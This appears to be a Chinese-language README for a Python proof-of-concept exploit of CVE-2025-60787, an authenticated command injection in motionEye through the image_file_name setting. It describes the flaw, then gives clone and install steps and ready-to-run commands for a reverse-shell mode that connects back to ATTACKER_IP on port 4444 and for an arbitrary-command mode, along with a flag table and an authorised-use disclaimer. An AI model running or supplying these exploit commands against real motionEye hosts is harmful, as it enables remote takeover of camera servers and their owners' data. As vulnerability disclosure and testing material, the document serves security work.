
针对 CVE-2025-60787 的 Python PoC,在 motionEye <= 0.43.1b4 中,通过未清理的 image_file_name 配置实现已认证的操作系统命令注入远程代码执行(RCE)
| 字段 | 详情 |
|---|
| CVE ID | CVE-2025-60787 |
| CVSS 评分 | 7.2(高) |
| 类型 | 操作系统命令注入(CWE-78) |
| 受影响版本 | motionEye <= 0.43.1b4 |
| 修复版本 | 0.43.1b5 |
motionEye 接受配置字段(如 image_file_name)中的任意字符串,并将其直接写入 Motion 配置文件(/etc/motioneye/camera-*.conf)。当 Motion 服务重启时,它会将这些字段解析为支持 shell 扩展的字符串,从而允许认证攻击者注入并执行任意操作系统命令。
Web 界面为这些字段提供了客户端验证,但可以通过直接发送精心构造的 API 请求轻松绕过。
image_file_name 值的修改后配置capture_mode: interval-snapshots)requests 库git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
该漏洞利用工具支持两种模式:反弹 Shell 和 命令执行。
在您的机器上启动一个监听器,然后运行:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| 标志 | 描述 |
|---|---|
--url | 目标 motionEye URL(包含端口) |
--user | motionEye 用户名 |
--password | motionEye 密码 |
-i / --host | 监听器 IP(反弹 Shell 模式) |
--port | 监听器端口(反弹 Shell 模式) |
-e / --exec | 要执行的命令(命令执行模式) |
--camera-id | 指定目标摄像头 ID |
--sh | 使用 /bin/sh 代替 /bin/bash |
--no-verify | 跳过 TLS 证书验证 |
--proxy | 通过代理路由流量(例如 http://127.0.0.1:8080) |
本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。作者不对本软件的滥用承担任何责任。请在测试前始终获得适当授权。
本项目采用 MIT 许可证。